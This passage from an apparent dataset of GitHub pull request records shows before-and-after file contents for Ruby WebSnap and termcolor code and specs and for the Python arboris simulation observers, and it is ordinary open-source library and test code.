do\n      websnap = WebSnap::Snapper.new('http://google.com')\n      websnap.source.should be_url\n      websnap.source.to_s.should == 'http://google.com'\n    end\n    \n    it \"should accept a File as the source\" do\n      file_path = File.join(SPEC_ROOT,'fixtures','google.html')\n      websnap = WebSnap::Snapper.new(File.new(file_path))\n      websnap.source.should be_file\n      websnap.source.to_s.should == file_path\n    end\n    \n    it \"should parse the options into a cmd line friedly format\" do\n      websnap = WebSnap::Snapper.new('html', :'crop-w' => '800', :'crop-h' => '600')\n      websnap.options.should have_key('--crop-w')\n    end\n\n    it \"should provide default options\" do\n      websnap = WebSnap::Snapper.new('<h1>Oh Hai</h1>')\n      ['--format'].each do |option|\n        websnap.options.should have_key(option)\n      end\n    end\n  end\n  \n  context \"command\" do\n    it \"should contstruct the correct command\" do\n      websnap = WebSnap::Snapper.new('html', :'encoding' => 'Big5')\n      websnap.command.should include('--encoding Big5')\n    end\n\n    it \"read the source from stdin if it is html\" do\n      websnap = WebSnap::Snapper.new('html')\n      websnap.command.should match(/ - -$/)\n    end\n    \n    it \"specify the URL to the source if it is a url\" do\n      websnap = WebSnap::Snapper.new('http://google.com')\n      websnap.command.should match(/ http:\\/\\/google\\.com -$/)\n    end\n    \n    it \"should specify the path to the source if it is a file\" do\n      file_path = File.join(SPEC_ROOT,'fixtures','google.html')\n      websnap = WebSnap::Snapper.new(File.new(file_path))\n      websnap.command.should match(/ #{file_path} -$/)\n    end\n  end\n  \n  context \"#to_bytes\" do\n    it \"should generate a PDF of the HTML\" do\n      websnap = WebSnap::Snapper.new('html')\n      websnap.expects(:to_bytes).returns('PNG')\n      png = websnap.to_bytes\n      png.should match(/PNG/)\n    end\n  end\n  \n  context \"#to_file\" do\n    before do\n      @file_path = File.join(SPEC_ROOT,'fixtures','test.png')\n      File.delete(@file_path) if File.exist?(@file_path)\n    end\n    \n    after do\n      File.delete(@file_path)\n    end\n    \n    it \"should create a file with the PNG as content\" do\n      websnap = WebSnap::Snapper.new('html')\n      websnap.expects(:to_bytes).returns('PNG')\n\n      file = websnap.to_file(@file_path)\n      file.should be_instance_of(File)\n      File.read(file.path).should == 'PNG'\n    end\n  end\n  \nend\n", "spec/wkhtml_image_executable_spec.rb": "require 'spec_helper'\nrequire_relative '../bin/wkhtml_image_executable'\n\ndescribe WkhtmlImageExecutable do\n\n  it \"should return wkhtmltoimage-amd64 when platform contains 64-linux\" do \n    WkhtmlImageExecutable.new({system_platform: \"x86_64-linux\"}).binary_wkhtmltoimage.should eq \"wkhtmltoimage-amd64\"\n  end\n  \n  it \"should return wkhtmltoimage-linux-i386-0.10.0 when platform contains linux\" do \n    WkhtmlImageExecutable.new({system_platform: \"linux\"}).binary_wkhtmltoimage.should eq \"wkhtmltoimage-linux-i386-0.10.0\"\n  end\n  \n  it \"should return wkhtmltoimage-osx-i386-0.10.0 when platform contains darwin\" do \n    WkhtmlImageExecutable.new({system_platform: \"darwin\"}).binary_wkhtmltoimage.should eq \"wkhtmltoimage-osx-i386-0.10.0\"\n  end\n\n  it \"should raise execption when platform is not found with a matching \" do\n    expect {WkhtmlImageExecutable.new({system_platform: \"magical_unicorns\"}).binary_wkhtmltoimage}.to raise_error\n  end\nend\n\n"}}
{"repo": "sbarthelemy/arboris-python", "pr_number": 28, "title": "Remove lonely tab", "state": "closed", "merged_at": null, "additions": 1, "deletions": 1, "files_changed": ["arboris/observers.py"], "files_before": {"arboris/observers.py": "#coding=utf-8\n\"\"\"A set of Observers.\n\"\"\"\n__author__ = (u\"S\u00e9bastien BARTH\u00c9LEMY <barthelemy@crans.org>\",\n              \"Joseph SALINI <joseph.salini@gmail.com>\")\nimport arboris.core\nfrom abc import ABCMeta, abstractmethod, abstractproperty\nfrom numpy import dot, array, eye, linalg, vstack, hstack, zeros, diag\nfrom time import time as _time\nfrom arboris.massmatrix import principalframe\nimport logging\nlogging.basicConfig(level=logging.DEBUG)\n\nclass EnergyMonitor(arboris.core.Observer):\n    \"\"\"Compute and store the world energy at each time step.\n\n    **Example:**\n\n        >>> from arboris.core import World, simulate\n        >>> from arboris.robots.simplearm import add_simplearm\n        >>> w = World()\n        >>> observers = [EnergyMonitor()]\n        >>> add_simplearm(w)\n        >>> simulate(w, [0,1,2], observers)\n        >>> #obs.plot()\n\n    \"\"\"\n\n    def init(self, world, timeline):\n        self._world = world\n        self.time = []\n        self.kinetic_energy = []\n        self.potential_energy = []\n        self.mechanichal_energy = []\n        self._com_pos = {}\n        self._bodies = self._world.ground.iter_descendant_bodies\n        for body in self._bodies():\n            self._com_pos[body]  = principalframe(body.mass)[:,3]\n\n    def update(self, dt):\n        self.time.append(self._world.current_time)\n        Ec = dot(self._world.gvel,\n                 dot(self._world.mass, self._world.gvel) )/2.\n        self.kinetic_energy.append(Ec)\n        Ep = 0.\n        for body in self._bodies():\n            h = dot( dot(body.pose, self._com_pos[body])[0:3], self._world.up)\n            Ep += body.mass[3,3] * h\n        Ep *= 9.81\n        self.potential_energy.append(Ep)\n        self.mechanichal_energy.append(Ec+Ep)\n\n    def finish(self):\n        pass\n\n    def plot(self):\n        \"\"\"Plot the energy evolution.\n        \"\"\"\n        from pylab import plot, show, legend, xlabel, ylabel, title\n        plot(self.time, self.kinetic_energy)\n        plot(self.time, self.potential_energy)\n        plot(self.time, self.mechanichal_energy)\n        legend(('kinetic','potential','mechanical'))\n        title('Energy evolution')\n        xlabel('time (s)')\n        ylabel('energy (J)')\n        show()\n\n\nclass PerfMonitor(arboris.core.Observer):\n    \"\"\"\n\n    **Example:**\n\n        >>> from arboris.core import World, simulate\n        >>> from arboris.robots.simplearm import add_simplearm\n        >>> w = World()\n        >>> obs = PerfMonitor()\n        >>> add_simplearm(w)\n        >>> simulate(w, [0,1,2], [obs])\n        >>> print obs.get_summary() #doctest: +ELLIPSIS\n        total computation time (s): ...\n        min computation time (s): ...\n        mean computation time (s): ...\n        max computation time (s): ...\n        >>> #obs.plot()\n\n    \"\"\"\n    def __init__(self, log=False):\n        arboris.core.Observer.__init__(self)\n        if log:\n            self._logger = logging.getLogger(self.__class__.__name__)\n        else:\n            self._logger = None\n        self._last_time = None\n        self._computation_time = []\n\n    def init(self, world, timeline):\n        self._world = world\n        self._last_time = _time()\n\n    def update(self, dt):\n        current_time = _time()\n        self._computation_time.append(current_time - self._last_time)\n        self._last_time = current_time\n        if self._logger is not None:\n            self._logger.info('current time (s): %.3f',\n                              self._world.current_time)\n\n    def finish(self):\n        pass\n\n    def plot(self):\n        from pylab import plot, show, xlabel, ylabel, title\n        plot(self._computation_time)\n        title('Computation time for each simulation time step')\n        xlabel('simulation time step')\n        ylabel('computation time (s)')\n        show()\n\n    def get_summary(self):\n        total = sum(self._computation_time)\n        return \"\"\"total computation time (s): {0}\nmin computation time (s): {1}\nmean computation time (s): {2}\nmax computation time (s): {3}\"\"\".format(\n    total,\n    min(self._computation_time),\n    total/len(self._computation_time),\n    max(self._computation_time))\n\n\nclass Hdf5Logger(arboris.core.Observer):\n    \"\"\"An observer that saves the simulation data in an hdf5 file.\n\n    :param filename: name of the output hdf5 file\n    :type filename: str\n    :param group: subgroup within the hdf5 file. Defaults to \"/\"\n    :type group: str\n    :param mode: mode used to open the hdf5 file. Can be 'w' or 'a' (default)\n    :type mode: str\n    :param save_state: toggle the write of the ``gpos`` and ``gvel`` groups\n    :type save_state: bool\n    :param save_transforms: toggle the write of the ``transforms`` group\n    :type save_transforms: bool\n    :param flat: whether to save body of joint poses in the ``transforms`` group\n    :type flat: bool\n    :param save_model: toggle the write of ``model`` group\n    :type save_model: bool\n\n    All the simulation data lies in a single user-chosen group, that is denoted\n    ``root`` in the following, and which defaults to ``/``. All the data are in\n    S.I. units (radians, meters, newtons and seconds).\n\n    The hdf5 file has the following layout::\n\n      root/timeline (nsteps,)\n      root/gpositions/\n      root/gvelocities/\n      root/model/\n      root/transforms/\n\n    The ``gvelocities`` group contains the generalized velocities of the\n    joints::\n\n      NameOfJoint0 (nsteps, joint0.ndof)\n      NameOfJoint1 (nsteps, joint1.ndof)\n      ...\n\n    while the ``gpositions`` group contains their generalized positions.\n\n    The ``model`` group contains the matrices from the dynamical model::\n\n      gvel (nsteps, ndof)\n      gforce (nsteps, ndof)\n      mass (nsteps, ndof, ndof)\n      nleffects (nsteps, ndof, ndof)\n      admittance (nsteps, ndof, ndof)\n\n    The ``transforms`` group contains homogeneous transformations,\n    useful for viewing an animation of the simulation.\n\n      NameOfTransform0 (nsteps, 4, 4)\n      NameOfTransform1 (nsteps, 4, 4)\n      ...\n\n    The name and value of the transforms depends on the ``flat`` parameter.\n    If ``flat`` is True, then there is one transform per body, named after the\n    body and whose value is the body absolute pose (``Body.pose``).\n    If ``flat`` is False, there is one transform per joint, whose value is\n    ``Joint.pose`` and whose name is taken from the joint second frame\n    (``Joint.frames[1].name``).\n\n    \"\"\"\n    def __init__(self, filename, group=\"/\", mode='a', save_state=False,\n                 save_transforms=True, flat=False, save_model=False):\n        import h5py\n        arboris.core.Observer.__init__(self)\n        # hdf5 file handlers\n        self._file = h5py.File(filename, mode)\n        self._root = self._file\n        for g in group.split('/'):\n            if g:\n                self._root = self._root.require_group(g)\n        # what to save\n        self._save_state = save_state\n        self._save_transforms = save_transforms\n        self._flat = flat\n        self._save_model = save_model\n\n    @property\n    def root(self):\n        return self._root\n\n    def init(self, world, timeline):\n        \"\"\"Create the datasets.\n        \"\"\"\n        self._world = world\n        self._nb_steps = len(timeline)-1\n        self._current_step = 0\n        self._root.require_dataset(\"timeline\", (self._nb_steps,), 'f8')\n        if self._save_state:\n            self._gpositions = self._root.require_group('gpositions')\n            self._gvelocities = self._root.require_group('gvelocities')\n            for j in self._world.getjoints():\n                self._gpositions.require_dataset(j.name,\n                        (self._nb_steps,) + j.gpos.shape[:])\n                self._gvelocities.require_dataset(j.name,\n                        (self._nb_steps, j.ndof))\n        if self._save_transforms:\n            self._arb_transforms = {}\n            self._transforms = self._root.require_group('transforms')\n            if self._flat:\n                for b in self._world.iterbodies():\n                    self._arb_transforms[b.name] = b\n            else:\n                for j in  self._world.getjoints():\n                    self._arb_transforms[j.frames[1].name] = j\n            for f in self._world.itermovingsubframes():\n                self._arb_transforms[f.name] = f\n            for k in self._arb_transforms.iterkeys():\n                d = self._transforms.require_dataset(k,\n                                                    (self._nb_steps, 4,4),\n                                                    'f8')\n        if self._save_model:\n            self._model = self._root.require_group('transforms')\n            ndof = self._world.ndof\n            self._model.require_dataset(\"gvel\",\n                    (self._nb_steps, ndof), 'f8')\n            self._model.require_dataset(\"mass\",\n                    (self._nb_steps, ndof, ndof), 'f8')\n            self._model.require_dataset(\"admittance\",\n                    (self._nb_steps, ndof, ndof), 'f8')\n            self._model.require_dataset(\"nleffects\",\n                    (self._nb_steps, ndof, ndof), 'f8')\n            self._model.require_dataset(\"gforce\",\n                    (self._nb_steps, ndof), 'f8')\n\n    def update(self, dt):\n        \"\"\"Save the current data (state...).\n        \"\"\"\n\tassert self._current_step <= self._nb_steps\n        self._root[\"timeline\"][self._current_step] = self._world._current_time\n        if self._save_state:\n            for j in self._world.getjoints():\n                self._gpositions[j.name][self._current_step] = j.gpos\n                self._gvelocities[j.name][self._current_step] = j.gvel\n        if self._save_transforms:\n            for k, v in self._arb_transforms.iteritems():\n                if isinstance(v, arboris.core.MovingSubFrame):\n                    if self._flat:\n                        pose = v.pose\n                    else:\n                        pose = v.bpose\n                else:\n                    pose = v.pose\n                self._transforms[k][self._current_step,:,:] = v.pose\n        if self._save_model:\n            self._model[\"gvel\"][self._current_step,:] = self._world.gvel\n            self._model[\"mass\"][self._current_step,:,:] = self._world.mass\n            self._model[\"admittance\"][self._current_step,:,:] = \\\n                    self._world.admittance\n            self._model[\"nleffects\"][self._current_step,:,:] = \\\n                    self._world.nleffects\n            self._model[\"gforce\"][self._current_step,:] = self._world.gforce\n        self._current_step += 1\n\n    def finish(self):\n        self._file.close()\n"}, "files_after": {"arboris/observers.py": "#coding=utf-8\n\"\"\"A set of Observers.\n\"\"\"\n__author__ = (u\"S\u00e9bastien BARTH\u00c9LEMY <barthelemy@crans.org>\",\n              \"Joseph SALINI <joseph.salini@gmail.com>\")\nimport arboris.core\nfrom abc import ABCMeta, abstractmethod, abstractproperty\nfrom numpy import dot, array, eye, linalg, vstack, hstack, zeros, diag\nfrom time import time as _time\nfrom arboris.massmatrix import principalframe\nimport logging\nlogging.basicConfig(level=logging.DEBUG)\n\nclass EnergyMonitor(arboris.core.Observer):\n    \"\"\"Compute and store the world energy at each time step.\n\n    **Example:**\n\n        >>> from arboris.core import World, simulate\n        >>> from arboris.robots.simplearm import add_simplearm\n        >>> w = World()\n        >>> observers = [EnergyMonitor()]\n        >>> add_simplearm(w)\n        >>> simulate(w, [0,1,2], observers)\n        >>> #obs.plot()\n\n    \"\"\"\n\n    def init(self, world, timeline):\n        self._world = world\n        self.time = []\n        self.kinetic_energy = []\n        self.potential_energy = []\n        self.mechanichal_energy = []\n        self._com_pos = {}\n        self._bodies = self._world.ground.iter_descendant_bodies\n        for body in self._bodies():\n            self._com_pos[body]  = principalframe(body.mass)[:,3]\n\n    def update(self, dt):\n        self.time.append(self._world.current_time)\n        Ec = dot(self._world.gvel,\n                 dot(self._world.mass, self._world.gvel) )/2.\n        self.kinetic_energy.append(Ec)\n        Ep = 0.\n        for body in self._bodies():\n            h = dot( dot(body.pose, self._com_pos[body])[0:3], self._world.up)\n            Ep += body.mass[3,3] * h\n        Ep *= 9.81\n        self.potential_energy.append(Ep)\n        self.mechanichal_energy.append(Ec+Ep)\n\n    def finish(self):\n        pass\n\n    def plot(self):\n        \"\"\"Plot the energy evolution.\n        \"\"\"\n        from pylab import plot, show, legend, xlabel, ylabel, title\n        plot(self.time, self.kinetic_energy)\n        plot(self.time, self.potential_energy)\n        plot(self.time, self.mechanichal_energy)\n        legend(('kinetic','potential','mechanical'))\n        title('Energy evolution')\n        xlabel('time (s)')\n        ylabel('energy (J)')\n        show()\n\n\nclass PerfMonitor(arboris.core.Observer):\n    \"\"\"\n\n    **Example:**\n\n        >>> from arboris.core import World, simulate\n        >>> from arboris.robots.simplearm import add_simplearm\n        >>> w = World()\n        >>> obs = PerfMonitor()\n        >>> add_simplearm(w)\n        >>> simulate(w, [0,1,2], [obs])\n        >>> print obs.get_summary() #doctest: +ELLIPSIS\n        total computation time (s): ...\n        min computation time (s): ...\n        mean computation time (s): ...\n        max computation time (s): ...\n        >>> #obs.plot()\n\n    \"\"\"\n    def __init__(self, log=False):\n        arboris.core.Observer.__init__(self)\n        if log:\n            self._logger = logging.getLogger(self.__class__.__name__)\n        else:\n            self._logger = None\n        self._last_time = None\n        self._computation_time = []\n\n    def init(self, world, timeline):\n        self._world = world\n        self._last_time = _time()\n\n    def update(self, dt):\n        current_time = _time()\n        self._computation_time.append(current_time - self._last_time)\n        self._last_time = current_time\n        if self._logger is not None:\n            self._logger.info('current time (s): %.3f',\n                              self._world.current_time)\n\n    def finish(self):\n        pass\n\n    def plot(self):\n        from pylab import plot, show, xlabel, ylabel, title\n        plot(self._computation_time)\n        title('Computation time for each simulation time step')\n        xlabel('simulation time step')\n        ylabel('computation time (s)')\n        show()\n\n    def get_summary(self):\n        total = sum(self._computation_time)\n        return \"\"\"total computation time (s): {0}\nmin computation time (s): {1}\nmean computation time (s): {2}\nmax computation time (s): {3}\"\"\".format(\n    total,\n    min(self._computation_time),\n    total/len(self._computation_time),\n    max(self._computation_time))\n\n\nclass Hdf5Logger(arboris.core.Observer):\n    \"\"\"An observer that saves the simulation data in an hdf5 file.\n\n    :param filename: name of the output hdf5 file\n    :type filename: str\n    :param group: subgroup within the hdf5 file. Defaults to \"/\"\n    :type group: str\n    :param mode: mode used to open the hdf5 file. Can be 'w' or 'a' (default)\n    :type mode: str\n    :param save_state: toggle the write of the ``gpos`` and ``gvel`` groups\n    :type save_state: bool\n    :param save_transforms: toggle the write of the ``transforms`` group\n    :type save_transforms: bool\n    :param flat: whether to save body of joint poses in the ``transforms`` group\n    :type flat: bool\n    :param save_model: toggle the write of ``model`` group\n    :type save_model: bool\n\n    All the simulation data lies in a single user-chosen group, that is denoted\n    ``root`` in the following, and which defaults to ``/``. All the data are in\n    S.I. units (radians, meters, newtons and seconds).\n\n    The hdf5 file has the following layout::\n\n      root/timeline (nsteps,)\n      root/gpositions/\n      root/gvelocities/\n      root/model/\n      root/transforms/\n\n    The ``gvelocities`` group contains the generalized velocities of the\n    joints::\n\n      NameOfJoint0 (nsteps, joint0.ndof)\n      NameOfJoint1 (nsteps, joint1.ndof)\n      ...\n\n    while the ``gpositions`` group contains their generalized positions.\n\n    The ``model`` group contains the matrices from the dynamical model::\n\n      gvel (nsteps, ndof)\n      gforce (nsteps, ndof)\n      mass (nsteps, ndof, ndof)\n      nleffects (nsteps, ndof, ndof)\n      admittance (nsteps, ndof, ndof)\n\n    The ``transforms`` group contains homogeneous transformations,\n    useful for viewing an animation of the simulation.\n\n      NameOfTransform0 (nsteps, 4, 4)\n      NameOfTransform1 (nsteps, 4, 4)\n      ...\n\n    The name and value of the transforms depends on the ``flat`` parameter.\n    If ``flat`` is True, then there is one transform per body, named after the\n    body and whose value is the body absolute pose (``Body.pose``).\n    If ``flat`` is False, there is one transform per joint, whose value is\n    ``Joint.pose`` and whose name is taken from the joint second frame\n    (``Joint.frames[1].name``).\n\n    \"\"\"\n    def __init__(self, filename, group=\"/\", mode='a', save_state=False,\n                 save_transforms=True, flat=False, save_model=False):\n        import h5py\n        arboris.core.Observer.__init__(self)\n        # hdf5 file handlers\n        self._file = h5py.File(filename, mode)\n        self._root = self._file\n        for g in group.split('/'):\n            if g:\n                self._root = self._root.require_group(g)\n        # what to save\n        self._save_state = save_state\n        self._save_transforms = save_transforms\n        self._flat = flat\n        self._save_model = save_model\n\n    @property\n    def root(self):\n        return self._root\n\n    def init(self, world, timeline):\n        \"\"\"Create the datasets.\n        \"\"\"\n        self._world = world\n        self._nb_steps = len(timeline)-1\n        self._current_step = 0\n        self._root.require_dataset(\"timeline\", (self._nb_steps,), 'f8')\n        if self._save_state:\n            self._gpositions = self._root.require_group('gpositions')\n            self._gvelocities = self._root.require_group('gvelocities')\n            for j in self._world.getjoints():\n                self._gpositions.require_dataset(j.name,\n                        (self._nb_steps,) + j.gpos.shape[:])\n                self._gvelocities.require_dataset(j.name,\n                        (self._nb_steps, j.ndof))\n        if self._save_transforms:\n            self._arb_transforms = {}\n            self._transforms = self._root.require_group('transforms')\n            if self._flat:\n                for b in self._world.iterbodies():\n                    self._arb_transforms[b.name] = b\n            else:\n                for j in  self._world.getjoints():\n                    self._arb_transforms[j.frames[1].name] = j\n            for f in self._world.itermovingsubframes():\n                self._arb_transforms[f.name] = f\n            for k in self._arb_transforms.iterkeys():\n                d = self._transforms.require_dataset(k,\n                                                    (self._nb_steps, 4,4),\n                                                    'f8')\n        if self._save_model:\n            self._model = self._root.require_group('transforms')\n            ndof = self._world.ndof\n            self._model.require_dataset(\"gvel\",\n                    (self._nb_steps, ndof), 'f8')\n            self._model.require_dataset(\"mass\",\n                    (self._nb_steps, ndof, ndof), 'f8')\n            self._model.require_dataset(\"admittance\",\n                    (self._nb_steps, ndof, ndof), 'f8')\n            self._model.require_dataset(\"nleffects\",\n                    (self._nb_steps, ndof, ndof), 'f8')\n            self._model.require_dataset(\"gforce\",\n                    (self._nb_steps, ndof), 'f8')\n\n    def update(self, dt):\n        \"\"\"Save the current data (state...).\n        \"\"\"\n        assert self._current_step <= self._nb_steps\n        self._root[\"timeline\"][self._current_step] = self._world._current_time\n        if self._save_state:\n            for j in self._world.getjoints():\n                self._gpositions[j.name][self._current_step] = j.gpos\n                self._gvelocities[j.name][self._current_step] = j.gvel\n        if self._save_transforms:\n            for k, v in self._arb_transforms.iteritems():\n                if isinstance(v, arboris.core.MovingSubFrame):\n                    if self._flat:\n                        pose = v.pose\n                    else:\n                        pose = v.bpose\n                else:\n                    pose = v.pose\n                self._transforms[k][self._current_step,:,:] = v.pose\n        if self._save_model:\n            self._model[\"gvel\"][self._current_step,:] = self._world.gvel\n            self._model[\"mass\"][self._current_step,:,:] = self._world.mass\n            self._model[\"admittance\"][self._current_step,:,:] = \\\n                    self._world.admittance\n            self._model[\"nleffects\"][self._current_step,:,:] = \\\n                    self._world.nleffects\n            self._model[\"gforce\"][self._current_step,:] = self._world.gforce\n        self._current_step += 1\n\n    def finish(self):\n        self._file.close()\n"}}
{"repo": "jugyo/termcolor", "pr_number": 3, "title": "arguments for String#termcolor", "state": "closed", "merged_at": null, "additions": 28, "deletions": 2, "files_changed": ["lib/termcolor.rb", "spec/termcolor_spec.rb"], "files_before": {"lib/termcolor.rb": "# -*- coding: utf-8 -*-\nrequire 'rubygems'\nrequire 'highline'\nrequire 'cgi'\nrequire 'rexml/parsers/streamparser' \nrequire 'rexml/parsers/baseparser' \nrequire 'rexml/streamlistener' \n\nmodule TermColor\n  VERSION = '1.2.1'\n  include REXML\n\n  class << self\n    def parse(text)\n      listener = MyListener.new \n      REXML::Parsers::StreamParser.new(prepare_parse(text), listener).parse\n      listener.result\n    end\n\n    def escape(text)\n      escape_or_unescape(:escape, text)\n    end\n\n    def unescape(text)\n      escape_or_unescape(:unescape, text)\n    end\n\n    def escape_or_unescape(dir=:escape, text)\n      h = Hash[*%w(& &amp; < &lt; > &gt; ' &apos; \" &quot;)]\n      h = h.invert if dir == :unescape\n      text.gsub(/(#{h.keys.join('|')})/){ h[$1] }\n    end\n    private :escape_or_unescape\n\n    def prepare_parse(text)\n      tag_separate text.gsub(/<(\\/?)(\\d+)>/, '<\\1_\\2>')\n    end\n\n    def tag_separate(text)\n      re = /<(\\/*)([^\\W_]+)(?:_(on_[^\\W_]+))*(?:_with_([^\\W_]+))*(?:_and_([^\\W_]+))*>/\n      text.gsub(re) do\n        matchs = $~.captures\n        if matchs.shift.empty?\n          tag = ->t{ \"<#{t}>\" }\n        else\n          matchs.reverse!\n          tag = ->t{ \"</#{t}>\" }\n        end\n        matchs.compact.map { |word| tag[word] }.join\n      end\n    end\n\n    def test(*args)\n      args = (0..109).to_a if args.empty?\n      args.each_with_index do |color, index|\n        print parse(\"<#{color}> #{color} </#{color}>\") + \"\\t\"\n        puts if (index + 1) % 10 == 0\n      end\n    end\n\n    def colorize(text, color)\n      parse(\"<#{color}>#{escape(text)}</#{color}>\")\n    end\n  end\n\n  class MyListener \n    include REXML::StreamListener \n\n    attr_reader :result\n    def initialize\n      @result = ''\n      @tag_stack = []\n    end\n\n    def tag_start(name, attrs)\n      esc_seq = to_esc_seq(name)\n      if esc_seq\n        @result << esc_seq\n        @tag_stack.push(name)\n      end\n    end\n\n    def text(text)\n      @result << CGI.unescapeHTML(text)\n    end\n\n    def tag_end(name)\n      @tag_stack.pop\n      @result << HighLine::CLEAR\n      @result << @tag_stack.map{|i| to_esc_seq(i)}.join unless @tag_stack.empty?\n    end\n\n    def to_esc_seq(name)\n      if (HighLine.const_defined?(name.upcase) rescue false)\n        HighLine.const_get(name.upcase)\n      else\n        case name\n        when /^([fb])(\\d+)$/\n          fb = $1 == 'f' ? 38 : 48\n          color = $2.size == 3 ? 16 + $2.to_i(6) : 232 + $2.to_i\n          \"\\e[#{fb};5;#{color}m\"\n        when /^[^0-9]?(\\d+)$/\n          \"\\e[#{$1}m\"\n        end\n      end\n    end\n  end\nend\n\nclass String\n  def termcolor\n    TermColor.parse(self)\n  end\nend\n", "spec/termcolor_spec.rb": "# -*- coding: utf-8 -*-\nrequire File.dirname(__FILE__) + '/spec_helper'\n\nmodule TermColor\n  describe TermColor do\n    before do\n    end\n\n    it 'should parse 1' do\n      text = TermColor.parse('aaa<red>aaaa<bold>foo</bold>bb<blue>bbbb</blue>bbb</red>ccc<on_yellow>ccccc</on_yellow>ccc')\n      puts text\n      text.should == \"aaa\\e[31maaaa\\e[1mfoo\\e[0m\\e[31mbb\\e[34mbbbb\\e[0m\\e[31mbbb\\e[0mccc\\e[43mccccc\\e[0mccc\"\n    end\n\n    it 'should parse 2' do\n      text = TermColor.parse('aa<blue>a<foo>aaa<red>aa</red>aaaa</foo>a</blue>aaa')\n      puts text\n      text.should == \"aa\\e[34maaaa\\e[31maa\\e[0m\\e[34maaaa\\e[0ma\\e[0maaa\"\n    end\n\n    it 'should parse 3' do\n      text = TermColor.parse('aa<blue>aaaaa&lt;aaa&quot;aaa&gt;aaa&amp;aaaaa</blue>aaa')\n      puts text\n      text.should == \"aa\\e[34maaaaa<aaa\\\"aaa>aaa&aaaaa\\e[0maaa\"\n    end\n\n    it 'should parse 4' do\n      text = TermColor.parse('aa<30>bbbbbbb<32>cccc<90>ddd</90>c</32>b</30>aaa')\n      puts text\n      text.should == \"aa\\e[30mbbbbbbb\\e[32mcccc\\e[90mddd\\e[0m\\e[30m\\e[32mc\\e[0m\\e[30mb\\e[0maaa\"\n    end\n\n    it 'should parse 5' do\n      text = TermColor.parse('aa<f123>bbbbbbb<b321>ccccc</b321>b</f123>aaa')\n      puts text\n      text.should == \"aa\\e[38;5;67mbbbbbbb\\e[48;5;137mccccc\\e[0m\\e[38;5;67mb\\e[0maaa\"\n    end\n\n    it 'should parse 6' do\n      text = TermColor.parse('aa<f12>bbbbbbb<b6>ccccc</b6>b</f12>aaa')\n      puts text\n      text.should == \"aa\\e[38;5;244mbbbbbbb\\e[48;5;238mccccc\\e[0m\\e[38;5;244mb\\e[0maaa\"\n    end\n\n    it 'should raise Error' do\n      lambda{ TermColor.parse('aaaaa<red>aaaaa</blue>aaaaa') }.should raise_error(REXML::ParseException)\n      lambda{ TermColor.parse('aaaaa<red>aaaaaaaaaa') }.should_not raise_error(REXML::ParseException)\n    end\n\n    it 'should escape text' do\n      TermColor.escape('<>&\"\\'').should == \"&lt;&gt;&amp;&quot;&apos;\"\n    end\n\n    it 'should unescape text' do\n      TermColor.unescape(\"&lt;&gt;&amp;&quot;&apos;\").should == '<>&\"\\''\n    end\n\n    it 'should prepare parse' do\n      TermColor.prepare_parse(\"<10>10</10>\").should == '<_10>10</_10>'\n      TermColor.prepare_parse(\"<32>10</32>\").should == '<_32>10</_32>'\n    end\n\n    it 'should convert to escape sequence' do\n      listener = TermColor::MyListener.new\n      listener.to_esc_seq('red').should == \"\\e[31m\"\n      listener.to_esc_seq('on_red').should == \"\\e[41m\"\n      listener.to_esc_seq('foo').should == nil\n      listener.to_esc_seq('0').should == \"\\e[0m\"\n      listener.to_esc_seq('31').should == \"\\e[31m\"\n      listener.to_esc_seq('031').should == \"\\e[031m\"\n      listener.to_esc_seq('_0').should == \"\\e[0m\"\n      listener.to_esc_seq('_31').should == \"\\e[31m\"\n    end\n\n    it 'should do colorize' do\n      TermColor.colorize('test', :green).should == \"\\e[32mtest\\e[0m\"\n    end\n\n    it 'should make separate tags for combined-style tag' do\n      h = { \"<red_on_yellow>hello, world</red_on_yellow>\" =>\n                   \"<red><on_yellow>hello, world</on_yellow></red>\",\n            \"<green_with_bold>hello, world</green_with_bold>\" =>\n                   \"<green><bold>hello, world</bold></green>\",\n            \"<blue_on_white_with_bold_and_underline>hello</blue_on_white_with_bold_and_underline>\" =>\n                   \"<blue><on_white><bold><underline>hello</underline></bold></on_white></blue>\",\n            \"<black_on_white>hello</black_on_white>term<green_with_bold>color</green_with_bold>\" =>\n                   \"<black><on_white>hello</on_white></black>term<green><bold>color</bold></green>\" }\n      h.each_pair do |combined, separated|\n        TermColor.prepare_parse(combined).should == separated\n      end\n    end\n  end\nend\n"}, "files_after": {"lib/termcolor.rb": "# -*- coding: utf-8 -*-\nrequire 'rubygems'\nrequire 'highline'\nrequire 'cgi'\nrequire 'rexml/parsers/streamparser' \nrequire 'rexml/parsers/baseparser' \nrequire 'rexml/streamlistener' \n\nmodule TermColor\n  VERSION = '1.2.1'\n  include REXML\n\n  class << self\n    def parse(text)\n      listener = MyListener.new \n      REXML::Parsers::StreamParser.new(prepare_parse(text), listener).parse\n      listener.result\n    end\n\n    def escape(text)\n      escape_or_unescape(:escape, text)\n    end\n\n    def unescape(text)\n      escape_or_unescape(:unescape, text)\n    end\n\n    def escape_or_unescape(dir=:escape, text)\n      h = Hash[*%w(& &amp; < &lt; > &gt; ' &apos; \" &quot;)]\n      h = h.invert if dir == :unescape\n      text.gsub(/(#{h.keys.join('|')})/){ h[$1] }\n    end\n    private :escape_or_unescape\n\n    def prepare_parse(text)\n      tag_separate text.gsub(/<(\\/?)(\\d+)>/, '<\\1_\\2>')\n    end\n\n    def tag_separate(text)\n      re = /<(\\/*)([^\\W_]+)(?:_(on_[^\\W_]+))*(?:_with_([^\\W_]+))*(?:_and_([^\\W_]+))*>/\n      text.gsub(re) do\n        matchs = $~.captures\n        if matchs.shift.empty?\n          tag = ->t{ \"<#{t}>\" }\n        else\n          matchs.reverse!\n          tag = ->t{ \"</#{t}>\" }\n        end\n        matchs.compact.map { |word| tag[word] }.join\n      end\n    end\n\n    def test(*args)\n      args = (0..109).to_a if args.empty?\n      args.each_with_index do |color, index|\n        print parse(\"<#{color}> #{color} </#{color}>\") + \"\\t\"\n        puts if (index + 1) % 10 == 0\n      end\n    end\n\n    def colorize(text, color)\n      parse(\"<#{color}>#{escape(text)}</#{color}>\")\n    end\n  end\n\n  class MyListener \n    include REXML::StreamListener \n\n    attr_reader :result\n    def initialize\n      @result = ''\n      @tag_stack = []\n    end\n\n    def tag_start(name, attrs)\n      esc_seq = to_esc_seq(name)\n      if esc_seq\n        @result << esc_seq\n        @tag_stack.push(name)\n      end\n    end\n\n    def text(text)\n      @result << CGI.unescapeHTML(text)\n    end\n\n    def tag_end(name)\n      @tag_stack.pop\n      @result << HighLine::CLEAR\n      @result << @tag_stack.map{|i| to_esc_seq(i)}.join unless @tag_stack.empty?\n    end\n\n    def to_esc_seq(name)\n      if 